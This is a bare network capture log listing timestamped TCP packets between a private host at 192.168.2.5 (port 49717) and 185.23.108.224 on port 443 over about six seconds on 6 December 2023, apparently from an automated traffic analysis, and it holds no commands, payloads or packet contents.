Dec 6, 2023 14:51:51.903029919 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.903079987 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.903213978 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.903235912 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.903273106 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.903295994 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.908155918 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.963746071 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.963797092 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.963851929 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.963869095 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:51.963901043 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:51.963926077 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.050633907 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.050683975 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.050726891 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.050740004 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.050776958 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.050800085 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.300262928 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.300298929 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.300425053 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.300446987 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.300523996 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.300523043 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.300559044 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.300614119 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.328077078 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.328109980 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.328191996 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.328205109 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.328275919 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.442004919 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.442068100 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.442157030 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.442174911 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.442271948 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.550709963 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.550755978 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.550916910 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.550935030 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.551040888 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.661236048 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.661299944 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.661643028 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.661675930 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.661753893 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.729393005 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.729448080 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.729665995 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.729681015 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.729732037 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.840686083 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.840776920 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.841046095 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.841073990 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.841125965 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.908236980 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.908299923 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.908337116 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.908353090 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:52.908369064 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:52.908392906 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.020045996 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.020092010 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.020180941 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.020225048 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.020349026 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.020349026 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.087079048 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.087146997 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.087265015 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.087304115 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.087330103 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.087351084 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.202883959 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.202953100 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.203125954 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.203157902 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.203244925 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.264977932 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.265041113 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.265521049 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.265568972 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.265744925 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.382020950 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.382081032 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.382222891 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.382244110 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.382363081 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.443578005 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.443624020 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.443712950 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.443722963 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.443789005 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.562719107 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.562768936 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.562871933 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.562884092 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.563023090 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.622633934 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.622701883 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.622843027 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.622859955 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.622991085 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.742587090 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.742651939 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.743401051 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.743428946 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.743649960 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.762137890 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.762202978 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.762371063 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.762371063 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.762402058 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.762450933 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.882812977 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.882877111 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.883080959 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.883095980 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.883313894 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.941410065 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.941474915 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.941659927 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:53.941669941 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:53.941792965 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.061878920 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.061939001 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.062067986 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.062087059 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.062213898 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.120270014 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.120294094 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.120388985 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.120403051 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.120460033 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.242831945 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.242893934 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.243052006 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.243072987 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.243146896 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.281980991 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.282012939 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.282157898 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.282172918 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.282249928 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.384373903 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.384404898 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.384605885 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.384623051 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.384747028 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.462054014 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.462081909 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.462176085 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.462188005 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.462238073 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.521296978 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.521325111 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.521536112 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.521549940 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.521785021 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.822736025 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.822798014 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.822921991 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.822937012 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.822952986 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.822978020 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.823080063 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.823154926 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.823185921 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.823185921 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.823193073 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.823288918 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.942761898 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.942794085 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.942861080 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:54.942873001 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:54.942934036 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.002562046 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.002587080 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.002851009 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.002880096 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.002959013 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.142477989 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.142539978 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.142793894 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.142793894 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.142832041 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.142891884 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.202159882 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.202208042 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.202430010 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.202442884 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.202644110 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.321809053 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.321872950 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.321989059 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.322005987 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.322118998 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.382509947 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.382574081 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.382812023 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.382832050 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.382904053 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.501394987 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.501457930 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.501590967 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.501606941 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.501734018 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.561856985 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.561916113 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.562063932 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.562084913 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.562187910 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.682818890 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.682871103 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.683156013 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.683168888 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.683299065 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.742918968 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.742991924 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.743113995 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.743132114 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.743241072 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.862966061 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.863029957 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.863091946 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.863106966 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.863197088 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.922426939 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.922491074 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.922668934 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:55.922684908 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:55.922741890 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.042243958 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.042279005 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.042476892 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.042496920 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.042622089 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.101830959 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.101861954 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.101969004 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.101984978 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.102034092 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.221482038 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.221548080 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.221688986 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.221703053 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.221822977 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.282712936 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.282778978 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.282880068 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.282888889 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.282968044 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.283068895 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.400672913 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.400711060 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.400983095 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.400999069 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.401130915 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.440933943 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.440998077 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.441075087 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.441091061 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.441179991 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.541127920 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.541197062 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.541266918 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.541290045 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.541342020 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.621030092 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.621064901 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.621419907 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.621438026 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.621553898 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.642088890 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.642119884 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.642209053 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.642220020 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.642270088 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.760871887 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.760905027 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.761018991 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.761048079 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.761097908 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.821019888 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.821054935 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.821162939 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.821186066 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.821238995 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.940073013 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.940145969 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.940191984 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:56.940211058 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:56.940268040 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.000973940 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.001008987 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.001097918 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.001111984 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.001161098 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.120826960 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.120861053 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.121118069 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.121139050 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.121186972 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.158662081 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.158729076 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.158910990 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.158910990 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.158931017 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.158977032 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.359854937 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.359891891 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.359941006 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.359988928 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.360081911 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.360105991 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.360178947 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.441679001 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.441708088 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.441865921 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.441896915 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.441957951 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.518243074 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.518321037 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.518440962 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.518459082 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.518533945 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.661796093 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.661866903 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.661959887 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.661984921 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.662030935 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.662061930 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.721158981 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.721256971 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.721364021 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.721380949 CET	443	49717	185.23.108.224	192.168.2.5
Dec 6, 2023 14:51:57.721489906 CET	49717	443	192.168.2.5	185.23.108.224
Dec 6, 2023 14:51:57.841337919 CET	443	49717	185.23.108.224	192.168.2.5
